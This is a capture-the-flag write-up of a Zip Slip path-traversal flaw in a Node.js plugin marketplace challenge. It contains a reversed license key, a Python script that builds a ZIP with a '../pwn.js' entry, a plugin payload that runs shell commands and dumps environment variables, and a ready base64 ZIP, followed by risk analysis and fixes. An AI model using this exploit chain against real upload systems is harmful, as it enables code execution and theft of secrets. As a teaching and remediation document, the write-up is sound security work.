The solution and the writeup provided were written by the hunter: d0x
DeadBolt is a Node.js plugin marketplace that lets users upload ZIP archives containing plugins, validates a license key, and then loads and runs a selected plugin. The application uses yauzl for ZIP extraction and has a plugin system that dynamically loads .js files from /tmp/app/plugins/.
The vulnerability is a classic Zip Slip (path traversal via archive entry names) made possible by a dangerous combination of yauzl configuration options. This leads to arbitrary file write outside the intended extraction directory, which, combined with the plugin auto-loading mechanism, escalates to full Remote Code Execution.
The attack chain has three links:
- Zip Slip via
decodeStrings: falseyauzl is configured withdecodeStrings: false, which disables its internalvalidateFileName()check. Entry names containing../are accepted without any error. - Arbitrary file write The
unzip()function passes the raw entry name throughpath.join(dest, filenameStr)without verifying the resolved path stays insidedest. A ZIP entry named../pwn.jsextracted into/tmp/app/plugins/archive/resolves to/tmp/app/plugins/pwn.js. - Plugin load → RCE After extraction,
getPlugins('/tmp/app/plugins')scans for any.jsfile in the plugins directory (non-recursive). Our freshly writtenpwn.jsis picked up, loaded viarequire(), and itsrun()method is called, achieving code execution.
Exploitation
Step 1: Reverse the license key algorithm
Before any plugin runs, the application calls validateKey(key). The function parses a 16-hex-character string into four 16-bit blocks [A, B, C, D] and enforces:
1f = (A >> 12) & 0xF → must be 0xA or 0xC2(B ^ (A & 0xFF)) & 0xFF → must equal 0x373C % 7 → must equal 04D → must equal (Math.imul(seed, 1103515245) + 1337) & 0xFFFF5 where seed = (A ^ B ^ C) & 0xFFFF
Working backwards with A = 0xA000, B = 0x0037:
f = 0xA✓(0x37 ^ 0x00) & 0xFF = 0x37✓- Pick
C = 0x0000→0 % 7 = 0✓ seed = (0xA000 ^ 0x0037 ^ 0x0000) & 0xFFFF = 0xA037D = (Math.imul(0xA037, 1103515245) + 1337) & 0xFFFF = 0xFEA4
Valid key: A000-0037-0000-FEA4
Step 2: Understand the Zip Slip condition
The unzip() function is configured with:
1const options = {2 lazyEntries: true,3 strictFileNames: true,4 decodeStrings: false // ← this is the root cause5};
When decodeStrings is false, yauzl skips its built-in validateFileName() entirely (see yauzl source, lines ~318-327). The entry's fileName property becomes a raw Buffer instead of a validated string. The function then does:
1const filenameStr = entry.fileName.toString(); // Buffer → string, no validation2const destpath = path.join(dest, filenameStr); // no path containment check3fs.mkdirSync(path.dirname(destpath), { recursive: true });4const writeStream = fs.createWriteStream(destpath); // writes anywhere on disk
Since dest is /tmp/app/plugins/archive/, a ZIP entry named ../pwn.js resolves to:
1path.join('/tmp/app/plugins/archive/', '../pwn.js')2→ '/tmp/app/plugins/pwn.js'
This lands our malicious file directly in the plugin loading directory.
Step 3: Craft the malicious ZIP
The ZIP must contain a single file with the entry name ../pwn.js and a payload that exports the required plugin interface (get, getName, run):
1module.exports = {2 get: () => ({}),3 getName: () => "pwn",4 run: () => {5 const r = require("child_process").spawnSync("sh", ["-c",6 "ls -laR /tmp/app/ 2>&1; env 2>&1; find / -maxdepth 3 -name '*flag*' 2>/dev/null"7 ]);8 console.log(r.stdout.toString());9 }10};
To generate the ZIP, I used Python's zipfile module which allows arbitrary entry names:
1import zipfile, base64, io23PLUGIN = b"""module.exports={get:()=>({}),getName:()=>"pwn",run:()=>{const r=require("child_process").spawnSync("sh",["-c","ls -laR /tmp/app/ 2>&1;echo ---ENV---;env 2>&1;echo ---FIND---;find / -maxdepth 3 -name '*flag*' 2>/dev/null"]);console.log(r.stdout.toString())}};"""45buf = io.BytesIO()6with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as z:7 zi = zipfile.ZipInfo("../pwn.js")8 zi.compress_type = zipfile.ZIP_STORED9 z.writestr(zi, PLUGIN)1011print(base64.b64encode(buf.getvalue()).decode())
Step 4: Trigger the exploit
With the base64-encoded ZIP, the plugin name, and the valid key, the attack flow is:
- Application receives
zipData→ writes to/tmp/upload_<uuid>.zip→ extracts to/tmp/app/plugins/archive/ - The
../pwn.jsentry escapesarchive/and lands in/tmp/app/plugins/pwn.js getPlugins('/tmp/app/plugins')discoverspwn.jsalongside the legitimate pluginsloadPlugin()callsrequire()on our file — it has aget()method, so it passes validationvalidateKey('A000-0037-0000-FEA4')returnstrue- The loop matches
pluginToRun == p.getName()wheregetName()returns"pwn" p.run()executes → shell commands run → output displayed in the page
PoC
Input values
ZIPBASE64
1UEsDBBQAAAAAAAAAIQBQA7QLAgEAAAIBAAAJAAAALi4vcHduLmpzbW9kdWxlLmV4cG9ydHM9e2dldDooKT0+KHt9KSxnZXROYW1lOigpPT4icHduIixydW46KCk9Pntjb25zdCByPXJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5zcGF3blN5bmMoInNoIixbIi1jIiwibHMgLWxhUiAvdG1wL2FwcC8gMj4mMTtlY2hvIC0tLUVOVi0tLTtlbnYgMj4mMTtlY2hvIC0tLUZJTkQtLS07ZmluZCAvIC1tYXhkZXB0aCAzIC1uYW1lICcqZmxhZyonIDI+L2Rldi9udWxsIl0pO2NvbnNvbGUubG9nKHIuc3Rkb3V0LnRvU3RyaW5nKCkpfX07UEsBAhQAFAAAAAAAAAAhAFADtAsCAQAAAgEAAAkAAAAAAAAAAAAAAIABAAAAAC4uL3B3bi5qc1BLBQYAAAAAAQABADcAAAApAQAAAAA=
PLUGIN
1pwn
KEY
1A000-0037-0000-FEA4
Risk
For the Application
An attacker can write arbitrary files anywhere on the filesystem that the Node.js process has write access to. In the context of this plugin marketplace, the attacker can:
- Inject malicious plugins that execute arbitrary code when loaded
- Overwrite existing plugins to backdoor legitimate functionality
- Overwrite application files (views, configs) to modify application behavior
- Achieve full RCE through the plugin loading mechanism, with access to
child_process, filesystem, network, and any other Node.js capability
For Users
- Users who install plugins from the marketplace are trusting the platform to sandbox uploaded content. A Zip Slip vulnerability breaks this trust entirely — a malicious ZIP can escape its extraction directory and compromise the whole system.
- Any plugin running
run()has the same privileges as the Node.js process, meaning it can read other users' data, secrets, or credentials stored on the server.
For the Company
- Full server compromise: RCE means the attacker owns the server. They can exfiltrate data, install persistence, pivot to internal networks, or use the server for further attacks.
- Supply chain risk: In a real plugin marketplace, a single malicious upload could compromise every user who interacts with the platform, similar to npm supply chain attacks.
- Regulatory exposure: Depending on what data the server processes, this could trigger breach notification requirements under GDPR, CCPA, etc.
Remediation
Fix 1: Enable decodeStrings in yauzl (Root cause)
The simplest fix is to let yauzl do its job. With decodeStrings: true (the default), yauzl calls validateFileName() on every entry, which rejects paths containing .. segments, absolute paths, and backslashes:
1const options = {2 lazyEntries: true,3 strictFileNames: true,4 decodeStrings: true // ← let yauzl validate filenames5};
If decodeStrings: false is needed for encoding reasons, the validation must be replicated manually.
Fix 2: Validate resolved path stays inside destination (Defense in depth)
Even with yauzl's validation, the extraction code should independently verify that the resolved path doesn't escape the destination directory:
1zipfile.on('entry', (entry) => {2 const filenameStr = entry.fileName.toString();3 const destpath = path.resolve(dest, filenameStr);4 const destReal = path.resolve(dest);56 if (!destpath.startsWith(destReal + path.sep)) {7 return reject(new Error(`Zip Slip detected: ${filenameStr}`));8 }910 // ... proceed with extraction11});
Fix 3: Plugin integrity verification
Instead of blindly loading any .js file found in the plugins directory, the application should maintain an allowlist or use cryptographic signatures:
1function getPlugins(directory) {2 const manifest = JSON.parse(fs.readFileSync(path.join(directory, 'manifest.json'), 'utf-8'));3 const entries = fs.readdirSync(directory, { withFileTypes: true });45 const plugins = entries6 .filter(entry => entry.isFile() && entry.name.endsWith('.js'))7 .filter(entry => manifest.allowedPlugins.includes(entry.name))8 .map(entry => loadPlugin(path.join(directory, entry.name)));910 return plugins;11}
Fix 4: Extract to an isolated temporary directory
The archive should be extracted to a random temporary directory, not a subdirectory of the plugins folder. Only after validation should files be moved to the final location:
1const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'plugin-'));2await unzip(destZip, tempDir);3// validate contents, then copy approved files to destArchive
Had a great time working through this one, the interaction between yauzl's decodeStrings option and the lack of path validation was a neat find. Solid challenge!
Cheers, d0x.



